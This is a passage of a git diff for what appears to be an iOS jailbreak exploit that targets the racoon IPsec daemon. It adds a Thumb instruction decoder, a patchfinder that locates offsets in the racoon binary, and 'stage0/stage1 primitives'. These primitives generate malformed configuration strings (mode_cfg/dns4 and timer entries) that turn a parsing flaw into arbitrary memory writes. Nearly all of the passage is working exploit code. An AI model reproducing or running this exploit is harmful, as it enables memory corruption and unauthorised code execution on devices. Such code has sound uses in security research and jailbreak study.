4; +} + +static int insn_ldr_imm_rt(uint16_t* i) { + return (*i & 7); +} + +static int insn_ldr_imm_rn(uint16_t* i) { + return ((*i >> 3) & 7); +} + +static int insn_ldr_imm_imm(uint16_t* i) { + return ((*i >> 6) & 0x1F); +} + +// TODO: More encodings +static int insn_is_ldrb_imm(uint16_t* i) { + return (*i & 0xF800) == 0x7800; +} + +static int insn_ldrb_imm_rt(uint16_t* i) { + return (*i & 7); +} + +static int insn_ldrb_imm_rn(uint16_t* i) { + return ((*i >> 3) & 7); +} + +static int insn_ldrb_imm_imm(uint16_t* i) { + return ((*i >> 6) & 0x1F); +} + +static int insn_is_ldr_reg(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return 1; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return 1; + else + return 0; +} + +static int insn_ldr_reg_rn(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return (*i >> 3) & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*i & 0xF); + else + return 0; +} + +int insn_ldr_reg_rt(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return *i & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +int insn_ldr_reg_rm(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return (*i >> 6) & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_ldr_reg_lsl(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return 0; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 4) & 0x3; + else + return 0; +} + +static int insn_is_add_reg(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return 1; + else if ((*i & 0xFF00) == 0x4400) + return 1; + else if ((*i & 0xFFE0) == 0xEB00) + return 1; + else + return 0; +} + +static int insn_add_reg_rd(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return (*i & 7); + else if ((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if ((*i & 0xFFE0) == 0xEB00) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_add_reg_rn(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return ((*i >> 3) & 7); + else if ((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if ((*i & 0xFFE0) == 0xEB00) + return (*i & 0xF); + else + return 0; +} + +static int insn_add_reg_rm(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return (*i >> 6) & 7; + else if ((*i & 0xFF00) == 0x4400) + return (*i >> 3) & 0xF; + else if ((*i & 0xFFE0) == 0xEB00) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_is_movt(uint16_t* i) { + return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_movt_rd(uint16_t* i) { + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_movt_imm(uint16_t* i) { + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); +} + +static int insn_is_mov_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return 1; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return 1; + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return 1; + else + return 0; +} + +static int insn_mov_imm_rd(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return (*i >> 8) & 7; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_mov_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return *i & 0xF; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_is_cmp_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return 1; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return 1; + else + return 0; +} + +static int insn_cmp_imm_rn(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return (*i >> 8) & 7; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return *i & 0xF; + else + return 0; +} + +static int insn_cmp_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return *i & 0xFF; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else + return 0; +} + +static int insn_is_and_imm(uint16_t* i) { + return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_and_imm_rn(uint16_t* i) { + return *i & 0xF; +} + +static int insn_and_imm_rd(uint16_t* i) { + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_and_imm_imm(uint16_t* i) { + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); +} + +static int insn_is_push(uint16_t* i) { + if ((*i & 0xFE00) == 0xB400) + return 1; + else if (*i == 0xE92D) + return 1; + else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1; + else + return 0; +} + +static int insn_push_registers(uint16_t* i) { + if ((*i & 0xFE00) == 0xB400) + return (*i & 0x00FF) | ((*i & 0x0100) << 6); + else if (*i == 0xE92D) + return *(i + 1); + else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1 << ((*(i + 1) >> 12) & 0xF); + else + return 0; +} + +static int insn_is_preamble_push(uint16_t* i) { + return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0; +} + +static int insn_is_str_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 1; + else if ((*i & 0xF800) == 0x9000) + return 1; + else if ((*i & 0xFFF0) == 0xF8C0) + return 1; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return 1; + else + return 0; +} + +static int insn_str_imm_postindexed(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 1; + else if ((*i & 0xF800) == 0x9000) + return 1; + else if ((*i & 0xFFF0) == 0xF8C0) + return 1; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 10) & 1; + else + return 0; +} + +static int insn_str_imm_wback(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 0; + else if ((*i & 0xF800) == 0x9000) + return 0; + else if ((*i & 0xFFF0) == 0xF8C0) + return 0; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 8) & 1; + else + return 0; +} + +static int insn_str_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i & 0x07C0) >> 4; + else if ((*i & 0xF800) == 0x9000) + return (*i & 0xFF) << 2; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) & 0xFFF); + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_str_imm_rt(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i & 7); + else if ((*i & 0xF800) == 0x9000) + return (*i >> 8) & 7; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) >> 12) & 0xF; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_str_imm_rn(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i >> 3) & 7; + else if ((*i & 0xF800) == 0x9000) + return 13; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*i & 0xF); + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*i & 0xF); + else + return 0; +} + +// Given an instruction, search backwards until an instruction is found matching the specified criterion. +static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) { + while ((uintptr_t)current_instruction > (uintptr_t)kdata) { + if (insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) { + current_instruction -= 2; + } else { + --current_instruction; + } + + if (match_func(current_instruction)) { + return current_instruction; + } + } + + return NULL; +} + +// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached. +static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) { + // Find the last instruction that completely wiped out this register + int found = 0; + uint16_t* current_instruction = insn; + while ((uintptr_t)current_instruction > (uintptr_t)kdata) { + if (insn_is_32bit(current_instruction - 2)) { + current_instruction -= 2; + } else { + --current_instruction; + } + + if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { + found = 1; + break; + } + + if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { + found = 1; + break; + } + } + + if (!found) + return 0; + + // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing. + uint32_t value = 0; + while ((uintptr_t)current_instruction < (uintptr_t)insn) { + if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { + value = insn_mov_imm_imm(current_instruction); + } else if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { + value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction))); + } else if (insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) { + value |= insn_movt_imm(current_instruction) << 16; + } else if (insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) { + if (insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) { + // Can't handle this kind of operation! + return 0; + } + + value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return value; +} + +// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc. +static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) { + uint16_t* current_instruction = insn; + uint32_t value[16]; + memset(value, 0, sizeof(value)); + + while ((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) { + if (insn_is_mov_imm(current_instruction)) { + value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction); + } else if (insn_is_ldr_literal(current_instruction)) { + uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction); + if (literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) { + value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address); + } + } else if (insn_is_movt(current_instruction)) { + value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16; + } else if (insn_is_add_reg(current_instruction)) { + int reg = insn_add_reg_rd(current_instruction); + if (insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) { + value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + if (value[reg] == address) { + return current_instruction; + } + } + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return NULL; +} + +struct find_search_mask { + uint16_t mask; + uint16_t value; +}; + +// Search the range of kdata for a series of 16-bit values that match the search mask. +static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) { + uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t))); + uint16_t* cur; + for(cur = (uint16_t*) kdata; cur <= end; ++cur) { + int matched = 1; + int i; + for(i = 0; i < num_masks; ++i) { + if ((*(cur + i) & masks[i].mask) != masks[i].value) { + matched = 0; + break; + } + } + + if (matched) + return cur; + } + + return NULL; +} + +/* + * stolen from CBPatcher + */ +/* Some stuff from https://github.com/kpwn/yalu/blob/master/data/dyldmagic/libxnuexp.m, courtesy of qwertyoruiop */ + +/* Find start of a section in a macho */ +struct section *find_section(struct segment_command *seg, const char *name) +{ + struct section *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (struct section *)((uintptr_t)seg + (uintptr_t)sizeof(struct segment_command)); + i < seg->nsects; + i++, sect = (struct section*)((uintptr_t)sect + sizeof(struct section))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +/* Find start of a load command in a macho */ +struct load_command *find_load_command(struct mach_header *mh, uint32_t cmd) { + struct load_command *lc, *flc; + + lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); + + while (1) { + if ((uintptr_t)lc->cmd == cmd) { + flc = (struct load_command *)(uintptr_t)lc; + break; + } + lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); + } + return flc; +} + +/* Find start of a segment in a macho */ +struct segment_command *find_segment(struct mach_header *mh, const char *segname) { + struct load_command *lc; + struct segment_command *s, *fs = NULL; + lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); + while ((uintptr_t)lc < (uintptr_t)mh + (uintptr_t)mh->sizeofcmds) { + if (lc->cmd == LC_SEGMENT) { + s = (struct segment_command *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); + } + return fs; +} + +/* Find offset of an exported symbol in a macho */ +void* find_sym(struct mach_header *mh, const char *name) { + struct segment_command* first = (struct segment_command*) find_load_command(mh, LC_SEGMENT); + struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB); + vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr; + + char* sym_str_table = (char*) (((char*)mh) + symtab->stroff); + struct nlist* sym_table = (struct nlist*)(((char*)mh) + symtab->symoff); + + for (int i = 0; i < symtab->nsyms; i++) { + if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) { + return (void*)(uintptr_t)(sym_table[i].n_value + vmaddr_slide); + } + } + return 0; +} + +uint32_t get_offset_to_binary_of_bytes(uint8_t* bin, + uint32_t bin_len, + uint8_t* what, + uint32_t what_len) { + uint8_t* tmp = memmem(bin, bin_len, what, what_len); + if (tmp == NULL) + return -1; + + return tmp - bin; +} + +#include <stdint.h> + +uint16_t swap_uint16(uint16_t val) { + return (val << 8) | (val >> 8); +} + +uint32_t swap_uint32(uint32_t val) { + val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF); + return (val << 16) | (val >> 16); +} + +uint32_t weird_swap(uint32_t lol) { + return (swap_uint16((lol & 0xffff0000) >> 16) << 16) | swap_uint16(lol & 0xffff); +} + +uint16_t get_movw_arg(uint32_t movw) { + /* + * garbage + */ + uint32_t arg = 0; + uint32_t movw_just_arg = weird_swap(movw); + arg |= (movw_just_arg & 0xff) << 0; + arg |= ((movw_just_arg & 0x7000) >> 12) << 8; + arg |= ((movw_just_arg & 0xf0000) >> 16) << 12; + arg |= ((movw_just_arg & 0x4000000) >> 26) << 11; + + return arg; +} + +uint32_t find_dns4_offset(uint32_t region, + uint8_t* bin, + size_t size) { + char* sysctl_arg = "net.inet.ipsec.esp_port"; + char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); + uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); + uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); + uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); + uint32_t ref_to_dns4; + uintptr_t the_movw; + for (int i = 0; i < 0x100; i++) { + uintptr_t test_me = (uintptr_t)ref_ptr; + test_me += i; + if (insn_is_movt((uint16_t*)test_me)) { + the_movw = (uintptr_t)ref_ptr; + the_movw += i; + the_movw -= 4; + break; + } +// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { +// ref_to_dns4 = ref + (i - 2); +// break; +// } + } + + uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); + + uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); + uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); + uint32_t movw_arg = get_movw_arg(movw_raw); + uint32_t movt_arg = get_movw_arg(movt_raw); + + uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; + uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); + uint32_t ref_dns4_offset = offset_to_pc + pc + 0x4; + + uint32_t autism = ref_dns4_offset; +// printf("0x%08x\n", autism); + + return *(uint32_t*)(bin + autism) + 0x8; +} + +uint32_t find_lc_conf_offset(uint32_t region, + uint8_t* bin, + size_t size) { + char* sysctl_arg = "net.inet.ipsec.esp_port"; + char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); + uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); + uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); + uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); + uint32_t ref_to_dns4; + uintptr_t the_movw; + for (int i = 0; i < 0x100; i++) { + uintptr_t test_me = (uintptr_t)ref_ptr; + test_me += i; + if (insn_is_movt((uint16_t*)test_me)) { + the_movw = (uintptr_t)ref_ptr; + the_movw += i; + the_movw -= 4; + break; + } +// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { +// ref_to_dns4 = ref + (i - 2); +// break; +// } + } + + uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); + + uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); + uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); + uint32_t movw_arg = get_movw_arg(movw_raw); + uint32_t movt_arg = get_movw_arg(movt_raw); + + uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; + uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); + uint32_t ref_dns4_offset = offset_to_pc + pc + 0x8; + + uint32_t autism = ref_dns4_offset; +// printf("0x%08x\n", autism); + + return *(uint32_t*)(bin + autism); +} + +uint32_t find_printf_addr(uint32_t region, + uint8_t* bin, + size_t size) { + char* usage_racoon_str = "usage: racoon"; + uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); + uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); + uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); + uintptr_t the_blx; + for (int i = 0; i < 0x100; i += 2) { + uintptr_t test_me = (uintptr_t)usage_ref; + test_me += i; + if (insn_is_bl((uint16_t*)test_me)) { + the_blx = (uintptr_t)usage_ref; + the_blx += i; + break; + } + } + + uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 8 + 0x4000; + + return printf_symbolstub_addr; +} + +uint32_t find_puts_addr(uint32_t region, + uint8_t* bin, + size_t size) { + char* usage_racoon_str = "usage: racoon"; + uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); + uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); + uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); + uintptr_t the_blx; + int count = 0; + for (int i = 0; i < 0x100; i += 2) { + uintptr_t test_me = (uintptr_t)usage_ref; + test_me += i; + if (insn_is_bl((uint16_t*)test_me)) { + the_blx = (uintptr_t)usage_ref; + the_blx += i; + usage_ref_addr = (void*)the_blx - (void*)bin; + count++; + if (count == 2) + break; + } + } + + uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 4 + 0x4000; + + return printf_symbolstub_addr; +} + +void sandbox(uint32_t region, + uint8_t* bin, + size_t size) { + // +}
\ No newline at end of file diff --git a/src/patchfinder.h b/src/patchfinder.h new file mode 100755 index 0000000..21af7e3 --- /dev/null +++ b/src/patchfinder.h @@ -0,0 +1,14 @@ +#ifndef PATCHFINDER_H +#define PATCHFINDER_H + +#include <stdint.h> + +uint32_t find_dns4_offset(uint32_t region, + uint8_t* bin, + size_t size); + +uint32_t find_lc_conf_offset(uint32_t region, + uint8_t* bin, + size_t size); + +#endif
\ No newline at end of file diff --git a/src/shit.c b/src/shit.c new file mode 100644 index 0000000..ef354d4 --- /dev/null +++ b/src/shit.c @@ -0,0 +1,32 @@ +#include <stdarg.h>
+#include "common.h"
+#include <stdio.h>
+#include "shit.h"
+
+extern FILE* fp;
+
+int _asprintf(char **strp, const char *fmt, ...) {
+ va_list ap;
+ char* tmp = NULL;
+
+ *strp = "";
+
+ /*
+ * shit
+ */
+
+ va_start(ap, fmt);
+ vfprintf(fp, fmt, ap);
+ va_end(ap);
+
+#if 0
+ strcpy(fuck_memory_leaks, tmp);
+
+ if (strp)
+ *strp = fuck_memory_leaks;
+
+ free(tmp);
+#endif
+
+ return 0;
+}
\ No newline at end of file diff --git a/src/shit.h b/src/shit.h new file mode 100644 index 0000000..d97a995 --- /dev/null +++ b/src/shit.h @@ -0,0 +1,6 @@ +#ifndef SHIT_H
+#define SHIT_H
+
+int _asprintf(char **strp, const char *fmt, ...);
+
+#endif
\ No newline at end of file diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c new file mode 100755 index 0000000..b54cb1a --- /dev/null +++ b/src/stage0_primitives.c @@ -0,0 +1,46 @@ +/* + * stage0_primitives + */ + +#include <stdint.h> +#include <stdio.h> + +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include <string.h> +#include "shit.h" + +//#define DNS4_OFFSET 0xb6c10 + +char* write32_slid(uint32_t where, + uint32_t what) { + char* where_ip = NULL; + char* what_ip = NULL; + char* ret = NULL; + + uint32_t where_ = where - DNS4_OFFSET; + where_ >>= 2; + where_ += 0x80000000; + + where_ip = uint32_t_to_ip(where_); + what_ip = uint32_t_to_ip(what); + + asprintf(&ret, "mode_cfg{" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins41.3.3.7;" + "wins4255.255.255.255;" + "wins4%s;" + "dns4%s;" + "}", + where_ip, + what_ip); + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; +}
\ No newline at end of file diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h new file mode 100755 index 0000000..a9a71eb --- /dev/null +++ b/src/stage0_primitives.h @@ -0,0 +1,10 @@ +#ifndef STAGE0_PRIMITIVES_H +#define STAGE0_PRIMITIVES_H + +#include <stdint.h> + +extern uint32_t DNS4_OFFSET; +char* write32_slid(uint32_t where, + uint32_t what); + +#endif
\ No newline at end of file diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c new file mode 100755 index 0000000..ffe7b53 --- /dev/null +++ b/src/stage1_primitives.c @@ -0,0 +1,168 @@ +/* + * stage1_primitives + */ + +#include <stdint.h> +#include <stdio.h> + +#include "stage1_primitives.h" +#include "stage0_primitives.h" +#include "ip_tools.h" +#include "common.h" +#include <string.h> +#include "shit.h" + +//#define LC_CONF_OFFSET 0xb6088 + +extern FILE* fp; + +char* write32_unslid(uint32_t where, + uint32_t what) { + char* ret = ""; + _asprintf(&ret, + "%s%s", + ret, + write32_slid(LC_CONF_OFFSET, + where - 0xa0)); + _asprintf(&ret, + "%s" + "timer{" + "counter%u;" + "}", + ret, + what); + + return ret; +} + +char* write32_unslid_pre(uint32_t where) { + char* ret = ""; + _asprintf(&ret, + "%s%s", + ret, + write32_slid(LC_CONF_OFFSET, + where - 0xa0)); + return ret; +} + +char* writebuf_old_unslid(uint32_t where, + char* what, + uint32_t len) { + char* ret = ""; + uint32_t* lol = (uint32_t*)what; + + while (((void*)lol - (void*)what) < len) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(where + ((void*)lol - (void*)what))); + + /* + * i make an exception for 80 cols here + */ + + _asprintf(&ret, "%stimer{", ret); + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } + + _asprintf(&ret, + "%s}", + ret); + } + + strcpy(fuck_memory_leaks, ret); + + free(ret); + + return fuck_memory_leaks; + + return ret; +} + +char* writebuf_unslid(uint32_t where, + char* what, + uint32_t len) { + char* ret = ""; + uint32_t* lol = (uint32_t*)what; + +#if 0 + for (uint32_t here = where; here < where + len; here++) { + asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(here)); + + asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here - where))); + } +#endif + +#if 1 + while (((void*)lol - (void*)what) < len) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(where + ((void*)lol - (void*)what))); + + /* + * i make an exception for 80 cols here + */ + + _asprintf(&ret, "%stimer{", ret); + + + /* + * this is so fucking ugly + */ + if ((((*lol) & 0x80000000) >> 31) == 1) { +lol: + _asprintf(&ret, + "%s}", + ret); + + for (uint32_t here = ((void*)lol - (void*)what); here < ((void*)lol - (void*)what) + 4; here++) { + _asprintf(&ret, + "%s%s", + ret, + write32_unslid_pre(here + where)); + _asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here))); + } + + lol++; + continue; + } + + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } + + if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; + if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } + + _asprintf(&ret, + "%s}", + ret); + } +#endif + + return ret; +} diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h new file mode 100755 index 0000000..d6b9c33 --- /dev/null +++ b/src/stage1_primitives.h @@ -0,0 +1,19 @@ +#ifndef STAGE1_PRIMITIVES_H +#define STAGE1_PRIMITIVES_H + +#include <stdint.h> + +extern uint32_t LC_CONF_OFFSET; + +char* write32_unslid(uint32_t where, + uint32_t what); + +char* writebuf_old_unslid(uint32_t where, + char* what, + uint32_t len); + +char* writebuf_unslid(uint32_t where, + char* what, + uint32_t len); + +#endif
